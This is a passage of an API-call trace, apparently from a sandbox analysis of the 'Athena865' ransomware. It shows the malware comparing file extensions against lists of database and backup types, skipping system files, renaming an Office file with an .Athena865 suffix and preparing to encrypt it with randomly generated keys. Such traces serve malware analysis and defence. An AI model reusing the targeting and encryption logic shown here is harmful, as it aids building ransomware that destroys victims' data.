[0080.930] lstrlenW (lpString="accdw") returned 5 [0080.930] lstrcmpiW (lpString1="L.XSL", lpString2="accdw") returned 1 [0080.930] lstrlenW (lpString="accft") returned 5 [0080.930] lstrcmpiW (lpString1="L.XSL", lpString2="accft") returned 1 [0080.930] lstrlenW (lpString="adb") returned 3 [0080.930] lstrcmpiW (lpString1="XSL", lpString2="adb") returned 1 [0080.930] lstrlenW (lpString="adb") returned 3 [0080.930] lstrcmpiW (lpString1="XSL", lpString2="adb") returned 1 [0080.930] lstrlenW (lpString="ade") returned 3 [0080.930] lstrcmpiW (lpString1="XSL", lpString2="ade") returned 1 [0080.930] lstrlenW (lpString="adf") returned 3 [0080.930] lstrcmpiW (lpString1="XSL", lpString2="adf") returned 1 [0080.930] lstrlenW (lpString="adn") returned 3 [0080.930] lstrcmpiW (lpString1="XSL", lpString2="adn") returned 1 [0080.930] lstrlenW (lpString="adp") returned 3 [0080.930] lstrcmpiW (lpString1="XSL", lpString2="adp") returned 1 [0080.930] lstrlenW (lpString="alf") returned 3 [0080.930] lstrcmpiW (lpString1="XSL", lpString2="alf") returned 1 [0080.930] lstrlenW (lpString="ask") returned 3 [0080.930] lstrcmpiW (lpString1="XSL", lpString2="ask") returned 1 [0080.930] lstrlenW (lpString="btr") returned 3 [0080.930] lstrcmpiW (lpString1="XSL", lpString2="btr") returned 1 [0080.931] lstrlenW (lpString="cat") returned 3 [0080.931] lstrcmpiW (lpString1="XSL", lpString2="cat") returned 1 [0080.931] lstrlenW (lpString="cdb") returned 3 [0080.931] lstrcmpiW (lpString1="XSL", lpString2="cdb") returned 1 [0080.931] lstrlenW (lpString="ckp") returned 3 [0080.931] lstrcmpiW (lpString1="XSL", lpString2="ckp") returned 1 [0080.931] lstrlenW (lpString="cma") returned 3 [0080.931] lstrcmpiW (lpString1="XSL", lpString2="cma") returned 1 [0080.931] lstrlenW (lpString="cpd") returned 3 [0080.931] lstrcmpiW (lpString1="XSL", lpString2="cpd") returned 1 [0080.931] lstrlenW (lpString="dacpac") returned 6 [0080.931] lstrcmpiW (lpString1="ML.XSL", lpString2="dacpac") returned 1 [0080.931] lstrlenW (lpString="dad") returned 3 [0080.931] lstrcmpiW (lpString1="XSL", lpString2="dad") returned 1 [0080.931] lstrlenW (lpString="dadiagrams") returned 10 [0080.931] lstrcmpiW (lpString1="ML2MML.XSL", lpString2="dadiagrams") returned 1 [0080.931] lstrlenW (lpString="daschema") returned 8 [0080.931] lstrcmpiW (lpString1="2MML.XSL", lpString2="daschema") returned -1 [0080.931] lstrlenW (lpString="db-journal") returned 10 [0080.931] lstrcmpiW (lpString1="ML2MML.XSL", lpString2="db-journal") returned 1 [0080.931] lstrlenW (lpString="db-shm") returned 6 [0080.931] lstrcmpiW (lpString1="ML.XSL", lpString2="db-shm") returned 1 [0080.931] lstrlenW (lpString="db-wal") returned 6 [0080.931] lstrcmpiW (lpString1="ML.XSL", lpString2="db-wal") returned 1 [0080.931] lstrlenW (lpString="dbc") returned 3 [0080.931] lstrcmpiW (lpString1="XSL", lpString2="dbc") returned 1 [0080.931] lstrlenW (lpString="dbs") returned 3 [0080.931] lstrcmpiW (lpString1="XSL", lpString2="dbs") returned 1 [0080.931] lstrlenW (lpString="dbt") returned 3 [0080.931] lstrcmpiW (lpString1="XSL", lpString2="dbt") returned 1 [0080.931] lstrlenW (lpString="dbv") returned 3 [0080.931] lstrcmpiW (lpString1="XSL", lpString2="dbv") returned 1 [0080.932] lstrlenW (lpString="dbx") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="dbx") returned 1 [0080.932] lstrlenW (lpString="dcb") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="dcb") returned 1 [0080.932] lstrlenW (lpString="dct") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="dct") returned 1 [0080.932] lstrlenW (lpString="dcx") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="dcx") returned 1 [0080.932] lstrlenW (lpString="ddl") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="ddl") returned 1 [0080.932] lstrlenW (lpString="dlis") returned 4 [0080.932] lstrcmpiW (lpString1=".XSL", lpString2="dlis") returned -1 [0080.932] lstrlenW (lpString="dp1") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="dp1") returned 1 [0080.932] lstrlenW (lpString="dqy") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="dqy") returned 1 [0080.932] lstrlenW (lpString="dsk") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="dsk") returned 1 [0080.932] lstrlenW (lpString="dsn") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="dsn") returned 1 [0080.932] lstrlenW (lpString="dtsx") returned 4 [0080.932] lstrcmpiW (lpString1=".XSL", lpString2="dtsx") returned -1 [0080.932] lstrlenW (lpString="dxl") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="dxl") returned 1 [0080.932] lstrlenW (lpString="eco") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="eco") returned 1 [0080.932] lstrlenW (lpString="ecx") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="ecx") returned 1 [0080.932] lstrlenW (lpString="edb") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="edb") returned 1 [0080.932] lstrlenW (lpString="epim") returned 4 [0080.932] lstrcmpiW (lpString1=".XSL", lpString2="epim") returned -1 [0080.932] lstrlenW (lpString="fcd") returned 3 [0080.932] lstrcmpiW (lpString1="XSL", lpString2="fcd") returned 1 [0080.933] lstrlenW (lpString="fdb") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="fdb") returned 1 [0080.933] lstrlenW (lpString="fic") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="fic") returned 1 [0080.933] lstrlenW (lpString="flexolibrary") returned 12 [0080.933] lstrlenW (lpString="fm5") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="fm5") returned 1 [0080.933] lstrlenW (lpString="fmp") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="fmp") returned 1 [0080.933] lstrlenW (lpString="fmp12") returned 5 [0080.933] lstrcmpiW (lpString1="L.XSL", lpString2="fmp12") returned 1 [0080.933] lstrlenW (lpString="fmpsl") returned 5 [0080.933] lstrcmpiW (lpString1="L.XSL", lpString2="fmpsl") returned 1 [0080.933] lstrlenW (lpString="fol") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="fol") returned 1 [0080.933] lstrlenW (lpString="fp3") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="fp3") returned 1 [0080.933] lstrlenW (lpString="fp4") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="fp4") returned 1 [0080.933] lstrlenW (lpString="fp5") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="fp5") returned 1 [0080.933] lstrlenW (lpString="fp7") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="fp7") returned 1 [0080.933] lstrlenW (lpString="fpt") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="fpt") returned 1 [0080.933] lstrlenW (lpString="frm") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="frm") returned 1 [0080.933] lstrlenW (lpString="gdb") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="gdb") returned 1 [0080.933] lstrlenW (lpString="gdb") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="gdb") returned 1 [0080.933] lstrlenW (lpString="grdb") returned 4 [0080.933] lstrcmpiW (lpString1=".XSL", lpString2="grdb") returned -1 [0080.933] lstrlenW (lpString="gwi") returned 3 [0080.933] lstrcmpiW (lpString1="XSL", lpString2="gwi") returned 1 [0080.934] lstrlenW (lpString="hdb") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="hdb") returned 1 [0080.934] lstrlenW (lpString="his") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="his") returned 1 [0080.934] lstrlenW (lpString="ib") returned 2 [0080.934] lstrcmpiW (lpString1="SL", lpString2="ib") returned 1 [0080.934] lstrlenW (lpString="idb") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="idb") returned 1 [0080.934] lstrlenW (lpString="ihx") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="ihx") returned 1 [0080.934] lstrlenW (lpString="itdb") returned 4 [0080.934] lstrcmpiW (lpString1=".XSL", lpString2="itdb") returned -1 [0080.934] lstrlenW (lpString="itw") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="itw") returned 1 [0080.934] lstrlenW (lpString="jet") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="jet") returned 1 [0080.934] lstrlenW (lpString="jtx") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="jtx") returned 1 [0080.934] lstrlenW (lpString="kdb") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="kdb") returned 1 [0080.934] lstrlenW (lpString="kexi") returned 4 [0080.934] lstrcmpiW (lpString1=".XSL", lpString2="kexi") returned -1 [0080.934] lstrlenW (lpString="kexic") returned 5 [0080.934] lstrcmpiW (lpString1="L.XSL", lpString2="kexic") returned 1 [0080.934] lstrlenW (lpString="kexis") returned 5 [0080.934] lstrcmpiW (lpString1="L.XSL", lpString2="kexis") returned 1 [0080.934] lstrlenW (lpString="lgc") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="lgc") returned 1 [0080.934] lstrlenW (lpString="lwx") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="lwx") returned 1 [0080.934] lstrlenW (lpString="maf") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="maf") returned 1 [0080.934] lstrlenW (lpString="maq") returned 3 [0080.934] lstrcmpiW (lpString1="XSL", lpString2="maq") returned 1 [0080.935] lstrlenW (lpString="mar") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="mar") returned 1 [0080.935] lstrlenW (lpString="marshal") returned 7 [0080.935] lstrcmpiW (lpString1="MML.XSL", lpString2="marshal") returned 1 [0080.935] lstrlenW (lpString="mas") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="mas") returned 1 [0080.935] lstrlenW (lpString="mav") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="mav") returned 1 [0080.935] lstrlenW (lpString="maw") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="maw") returned 1 [0080.935] lstrlenW (lpString="mdbhtml") returned 7 [0080.935] lstrcmpiW (lpString1="MML.XSL", lpString2="mdbhtml") returned 1 [0080.935] lstrlenW (lpString="mdn") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="mdn") returned 1 [0080.935] lstrlenW (lpString="mdt") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="mdt") returned 1 [0080.935] lstrlenW (lpString="mfd") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="mfd") returned 1 [0080.935] lstrlenW (lpString="mpd") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="mpd") returned 1 [0080.935] lstrlenW (lpString="mrg") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="mrg") returned 1 [0080.935] lstrlenW (lpString="mud") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="mud") returned 1 [0080.935] lstrlenW (lpString="mwb") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="mwb") returned 1 [0080.935] lstrlenW (lpString="myd") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="myd") returned 1 [0080.935] lstrlenW (lpString="ndf") returned 3 [0080.935] lstrcmpiW (lpString1="XSL", lpString2="ndf") returned 1 [0080.935] lstrlenW (lpString="nnt") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="nnt") returned 1 [0080.936] lstrlenW (lpString="nrmlib") returned 6 [0080.936] lstrcmpiW (lpString1="ML.XSL", lpString2="nrmlib") returned -1 [0080.936] lstrlenW (lpString="ns2") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="ns2") returned 1 [0080.936] lstrlenW (lpString="ns3") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="ns3") returned 1 [0080.936] lstrlenW (lpString="ns4") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="ns4") returned 1 [0080.936] lstrlenW (lpString="nsf") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="nsf") returned 1 [0080.936] lstrlenW (lpString="nv") returned 2 [0080.936] lstrcmpiW (lpString1="SL", lpString2="nv") returned 1 [0080.936] lstrlenW (lpString="nv2") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="nv2") returned 1 [0080.936] lstrlenW (lpString="nwdb") returned 4 [0080.936] lstrcmpiW (lpString1=".XSL", lpString2="nwdb") returned -1 [0080.936] lstrlenW (lpString="nyf") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="nyf") returned 1 [0080.936] lstrlenW (lpString="odb") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="odb") returned 1 [0080.936] lstrlenW (lpString="odb") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="odb") returned 1 [0080.936] lstrlenW (lpString="oqy") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="oqy") returned 1 [0080.936] lstrlenW (lpString="ora") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="ora") returned 1 [0080.936] lstrlenW (lpString="orx") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="orx") returned 1 [0080.936] lstrlenW (lpString="owc") returned 3 [0080.936] lstrcmpiW (lpString1="XSL", lpString2="owc") returned 1 [0080.937] lstrlenW (lpString="p96") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="p96") returned 1 [0080.937] lstrlenW (lpString="p97") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="p97") returned 1 [0080.937] lstrlenW (lpString="pan") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="pan") returned 1 [0080.937] lstrlenW (lpString="pdb") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="pdb") returned 1 [0080.937] lstrlenW (lpString="pdm") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="pdm") returned 1 [0080.937] lstrlenW (lpString="pnz") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="pnz") returned 1 [0080.937] lstrlenW (lpString="qry") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="qry") returned 1 [0080.937] lstrlenW (lpString="qvd") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="qvd") returned 1 [0080.937] lstrlenW (lpString="rbf") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="rbf") returned 1 [0080.937] lstrlenW (lpString="rctd") returned 4 [0080.937] lstrcmpiW (lpString1=".XSL", lpString2="rctd") returned -1 [0080.937] lstrlenW (lpString="rod") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="rod") returned 1 [0080.937] lstrlenW (lpString="rodx") returned 4 [0080.937] lstrcmpiW (lpString1=".XSL", lpString2="rodx") returned -1 [0080.937] lstrlenW (lpString="rpd") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="rpd") returned 1 [0080.937] lstrlenW (lpString="rsd") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="rsd") returned 1 [0080.937] lstrlenW (lpString="sas7bdat") returned 8 [0080.937] lstrcmpiW (lpString1="2MML.XSL", lpString2="sas7bdat") returned -1 [0080.937] lstrlenW (lpString="sbf") returned 3 [0080.937] lstrcmpiW (lpString1="XSL", lpString2="sbf") returned 1 [0080.938] lstrlenW (lpString="scx") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="scx") returned 1 [0080.938] lstrlenW (lpString="sdb") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="sdb") returned 1 [0080.938] lstrlenW (lpString="sdc") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="sdc") returned 1 [0080.938] lstrlenW (lpString="sdf") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="sdf") returned 1 [0080.938] lstrlenW (lpString="sis") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="sis") returned 1 [0080.938] lstrlenW (lpString="spq") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="spq") returned 1 [0080.938] lstrlenW (lpString="te") returned 2 [0080.938] lstrcmpiW (lpString1="SL", lpString2="te") returned -1 [0080.938] lstrlenW (lpString="teacher") returned 7 [0080.938] lstrcmpiW (lpString1="MML.XSL", lpString2="teacher") returned -1 [0080.938] lstrlenW (lpString="tmd") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="tmd") returned 1 [0080.938] lstrlenW (lpString="tps") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="tps") returned 1 [0080.938] lstrlenW (lpString="trc") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="trc") returned 1 [0080.938] lstrlenW (lpString="trc") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="trc") returned 1 [0080.938] lstrlenW (lpString="trm") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="trm") returned 1 [0080.938] lstrlenW (lpString="udb") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="udb") returned 1 [0080.938] lstrlenW (lpString="udl") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="udl") returned 1 [0080.938] lstrlenW (lpString="usr") returned 3 [0080.938] lstrcmpiW (lpString1="XSL", lpString2="usr") returned 1 [0080.938] lstrlenW (lpString="v12") returned 3 [0080.939] lstrcmpiW (lpString1="XSL", lpString2="v12") returned 1 [0080.939] lstrlenW (lpString="vis") returned 3 [0080.939] lstrcmpiW (lpString1="XSL", lpString2="vis") returned 1 [0080.939] lstrlenW (lpString="vpd") returned 3 [0080.939] lstrcmpiW (lpString1="XSL", lpString2="vpd") returned 1 [0080.939] lstrlenW (lpString="vvv") returned 3 [0080.939] lstrcmpiW (lpString1="XSL", lpString2="vvv") returned 1 [0080.939] lstrlenW (lpString="wdb") returned 3 [0080.939] lstrcmpiW (lpString1="XSL", lpString2="wdb") returned 1 [0080.939] lstrlenW (lpString="wmdb") returned 4 [0080.939] lstrcmpiW (lpString1=".XSL", lpString2="wmdb") returned -1 [0080.939] lstrlenW (lpString="wrk") returned 3 [0080.939] lstrcmpiW (lpString1="XSL", lpString2="wrk") returned 1 [0080.939] lstrlenW (lpString="xdb") returned 3 [0080.939] lstrcmpiW (lpString1="XSL", lpString2="xdb") returned 1 [0080.939] lstrlenW (lpString="xld") returned 3 [0080.939] lstrcmpiW (lpString1="XSL", lpString2="xld") returned 1 [0080.939] lstrlenW (lpString="xmlff") returned 5 [0080.939] lstrcmpiW (lpString1="L.XSL", lpString2="xmlff") returned -1 [0080.939] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL.Athena865") returned 65 [0080.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\omml2mml.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\omml2mml.xsl.athena865"), dwFlags=0x1) returned 1 [0080.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\omml2mml.xsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.941] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=94908) returned 1 [0080.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.941] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.942] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.942] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.942] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x175c0, lpName=0x0) returned 0x17c [0080.944] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x175c0) returned 0x100000 [0080.948] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.949] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.949] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.950] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0080.957] CloseHandle (hObject=0x17c) returned 1 [0080.957] CloseHandle (hObject=0x154) returned 1 [0080.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.958] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x10d980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OMSMAIN.DLL", cAlternateFileName="")) returned 1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2=".") returned 1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="..") returned 1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="windows") returned -1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="bootmgr") returned 1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="temp") returned -1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="pagefile.sys") returned -1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="boot") returned 1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="ids.txt") returned 1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="ntuser.dat") returned 1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="perflogs") returned -1 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2="MSBuild") returned 1 [0080.958] lstrlenW (lpString="OMSMAIN.DLL") returned 11 [0080.958] lstrcpyW (in: lpString1=0x241e89e, lpString2="OMSMAIN.DLL" | out: lpString1="OMSMAIN.DLL") returned="OMSMAIN.DLL" [0080.958] lstrlenW (lpString="OMSMAIN.DLL") returned 11 [0080.958] lstrlenW (lpString="Athena865") returned 9 [0080.958] lstrcmpiW (lpString1="SMAIN.DLL", lpString2="Athena865") returned 1 [0080.958] lstrlenW (lpString=".dll") returned 4 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2=".dll") returned 1 [0080.958] lstrlenW (lpString=".lnk") returned 4 [0080.958] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2=".lnk") returned 1 [0080.958] lstrlenW (lpString=".ini") returned 4 [0080.959] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2=".ini") returned 1 [0080.959] lstrlenW (lpString=".sys") returned 4 [0080.959] lstrcmpiW (lpString1="OMSMAIN.DLL", lpString2=".sys") returned 1 [0080.959] lstrlenW (lpString="OMSMAIN.DLL") returned 11 [0080.959] lstrlenW (lpString="bak") returned 3 [0080.959] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0080.959] lstrlenW (lpString="ba_") returned 3 [0080.959] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0080.959] lstrlenW (lpString="dbb") returned 3 [0080.959] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0080.959] lstrlenW (lpString="vmdk") returned 4 [0080.959] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0080.959] lstrlenW (lpString="rar") returned 3 [0080.959] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0080.959] lstrlenW (lpString="zip") returned 3 [0080.959] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0080.959] lstrlenW (lpString="tgz") returned 3 [0080.959] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0080.959] lstrlenW (lpString="vbox") returned 4 [0080.959] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0080.959] lstrlenW (lpString="vdi") returned 3 [0080.959] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0080.959] lstrlenW (lpString="vhd") returned 3 [0080.959] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0080.959] lstrlenW (lpString="vhdx") returned 4 [0080.959] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0080.959] lstrlenW (lpString="avhd") returned 4 [0080.959] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0080.959] lstrlenW (lpString="db") returned 2 [0080.959] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0080.959] lstrlenW (lpString="db2") returned 3 [0080.959] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0080.959] lstrlenW (lpString="db3") returned 3 [0080.959] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0080.960] lstrlenW (lpString="dbf") returned 3 [0080.960] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0080.960] lstrlenW (lpString="mdf") returned 3 [0080.960] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0080.960] lstrlenW (lpString="mdb") returned 3 [0080.960] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0080.960] lstrlenW (lpString="sql") returned 3 [0080.960] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0080.960] lstrlenW (lpString="sqlite") returned 6 [0080.960] lstrcmpiW (lpString1="IN.DLL", lpString2="sqlite") returned -1 [0080.960] lstrlenW (lpString="sqlite3") returned 7 [0080.960] lstrcmpiW (lpString1="AIN.DLL", lpString2="sqlite3") returned -1 [0080.960] lstrlenW (lpString="sqlitedb") returned 8 [0080.960] lstrcmpiW (lpString1="MAIN.DLL", lpString2="sqlitedb") returned -1 [0080.960] lstrlenW (lpString="xml") returned 3 [0080.960] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0080.960] lstrlenW (lpString="$er") returned 3 [0080.960] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0080.960] lstrlenW (lpString="4dd") returned 3 [0080.960] 